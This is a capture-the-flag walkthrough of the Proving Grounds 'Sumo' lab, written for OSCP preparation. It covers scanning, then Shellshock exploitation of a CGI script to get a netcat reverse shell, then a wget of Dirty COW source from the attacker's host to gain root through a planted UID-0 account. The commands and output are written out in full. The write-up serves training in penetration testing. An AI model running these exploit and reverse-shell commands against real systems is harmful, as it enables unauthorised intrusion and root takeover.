Post cover image

August 24, 2026

Sumo walkthrough | proving Ground machine | Oscp Prep

Lab Description

By Cybersecurity writeup's

5 min read

Lab Description

In this lab, you are expected to exploit the ShellShock vulnerability (CVE-2014–6271) in a CGI script for initial access. Privilege escalation is achieved using the DirtyCow local root exploit, allowing you to overwrite files and elevate to root.

Information Gathering

The first step is to perform reconnaissance against the target machine to identify open ports, running services, and their respective versions. This information helps us understand the attack surface and determine which services require further investigation.

Nmap

I started with a full TCP port scan using Nmap with service-version detection and default scripts:

nmap -sV -Pn 192.168.198.87 -p- -A --open --min-rate 3000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-22 12:26 +0530
Nmap scan report for 192.168.198.87
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_  256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.13
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals two open ports:

  • 22/tcp — SSH running OpenSSH 5.9p1
  • 80/tcp — HTTP running Apache 2.2.22

The web server is running an older version of Apache, so I proceeded with web enumeration to identify hidden directories, files, and potentially vulnerable functionality.

Web Enumeration

I first performed directory and file enumeration against the web server using FFUF.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://sumo/FUZZ -fs 0
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \_/ /\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://192.168.198.87/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________
.hta                    [Status: 403, Size: 286, Words: 21, Lines: 11, Duration: 154ms]
.htaccess               [Status: 403, Size: 291, Words: 21, Lines: 11, Duration: 152ms]
.htpasswd               [Status: 403, Size: 291, Words: 21, Lines: 11, Duration: 155ms]
cgi-bin/                [Status: 403, Size: 290, Words: 21, Lines: 11, Duration: 125ms]
index.html              [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 124ms]
index                   [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 124ms]
server-status           [Status: 403, Size: 295, Words: 21, Lines: 11, Duration: 131ms]
...

The enumeration revealed the /cgi-bin/ directory. Since CGI scripts are commonly associated with command execution vulnerabilities, I focused my attention on this endpoint.

None

Shellshock

The results from the Nikto scan were particularly interesting. It identified potential Shellshock (CVE-2014–6271) exposure and confirmed the presence of the /cgi-bin/ directory.

Shellshock is a vulnerability in GNU Bash that allows an attacker to inject commands through specially crafted environment variables. When a vulnerable Bash process handles these variables, the injected commands can be executed on the target system.

I searched for a suitable proof-of-concept and found a Python-based exploit that could be used against the vulnerable CGI endpoint.

sudo git clone https://github.com/b4keSn4ke/CVE-2014-6271

I then started a Netcat listener on my Kali machine to receive the reverse shell.

nc -lvp 4444

Next, I executed the Shellshock exploit against the /cgi-bin/ endpoint.

python3 shellshock.py <attacker_ip> <attacker_port> http://<target_ip>/cgi-bin/test/

Using the target and attacker IP addresses, I executed the exploit as follows:

python3 shellshock.py '192.168.45.214' 4444 http://sumo/cgi-bin/test/
...
*********************************************************************
*   ____  _          _ _     _                _                     *
*  / ___|| |__   ___| | |___| |__   ___   ___| | __  _ __  _   _    *
*  \___ \| '_ \ / _ \ | / __| '_ \ / _ \ / __| |/ / | '_ \| | | |   *
*   ___) | | | |  __/ | \__ \ | | | (_) | (__|   < _| |_) | |_| |   *
*  |____/|_| |_|\___|_|_|___/_| |_|\___/ \___|_|\_(_) .__/ \__, |   *
*                                                   |_|    |___/    *
*                                                                   *
*            +-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+-+-+-+              *
*            |E|x|p|l|o|i|t| |b|y| |b|4|k|e|S|n|4|k|e|              *
*            +-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+-+-+-+              *
*                                                                   *
*                                                                   *
*                  https://github.com/b4keSn4ke/                    *
*                                                                   *
*********************************************************************
[+] Protocol detected: HTTP
[+] Setting Payload ...
[+] Sending Payload to http://sumo/cgi-bin/test/ ...
[-] Request: timed out received HTTP code 500
[+] Reverse shell from 192.168.198.87 connected to [192.168.45.214:4444].
[+] Payload Sent successfully !

The exploit successfully triggered a reverse-shell connection from the target machine back to my Kali system.

nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.214] from (UNKNOWN) [192.168.198.87] 60158
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
script /dev/null -c bash
www-data@ubuntu:/usr/lib/cgi-bin$ ls

We now have an initial foothold on the target as the www-data user. The next step is to enumerate the system and identify a suitable privilege-escalation vector.

Privilege Escalation

Since the target is running an older Ubuntu release and an outdated Linux kernel, I checked for known local privilege-escalation vulnerabilities.

During the enumeration, I identified a suitable kernel exploit commonly known as Dirty COW (CVE-2016–5195). The exploit abuses a race condition in the Linux kernel's copy-on-write mechanism to modify protected memory and ultimately escalate privileges.

I transferred the exploit source code to the target and compiled it locally.

wget http://<my ip>/dirty.c
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty

I then executed the compiled exploit and supplied password as the new password.

www-data@ubuntu:/tmp$  ./dirty password
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: password
Complete line:
toor:tovO5Co1svV8M:0:0:pwned:/root:/bin/bash
mmap: 7fce94c50000
id
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'toor' and the password 'password'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
www-data@ubuntu:/tmp$ You can log in with the username 'toor' and the password 'password'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The exploit creates a new account named toor with UID 0, effectively granting it root-level privileges.

The exploit output also reminds us that /etc/passwd was modified and provides the command required to restore the original file. In a real-world engagement, restoring modified system files is important to avoid leaving the target in an inconsistent state.

Obtaining a Root Shell

With the toor account created, I connected to the target over SSH using the password specified during exploitation.

sudo ssh toor@192.168.198.87
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
toor@192.168.198.87's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
 * Documentation:  https://help.ubuntu.com/
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
toor@ubuntu:~# id
uid=0(toor) gid=0(root) groups=0(root)
toor@ubuntu:~# cd /root
toor@ubuntu:~# cat proof.txt
9a2c0a0ea07c87e9fc97931ba84eccc5

The id command confirms that the toor account has UID 0 and belongs to the root group. We have therefore successfully escalated our privileges from www-data to root.

Thanks for reading! I hope you found this walkthrough helpful. If you learned something new, feel free to share it with others. See you in the next write-up! 👋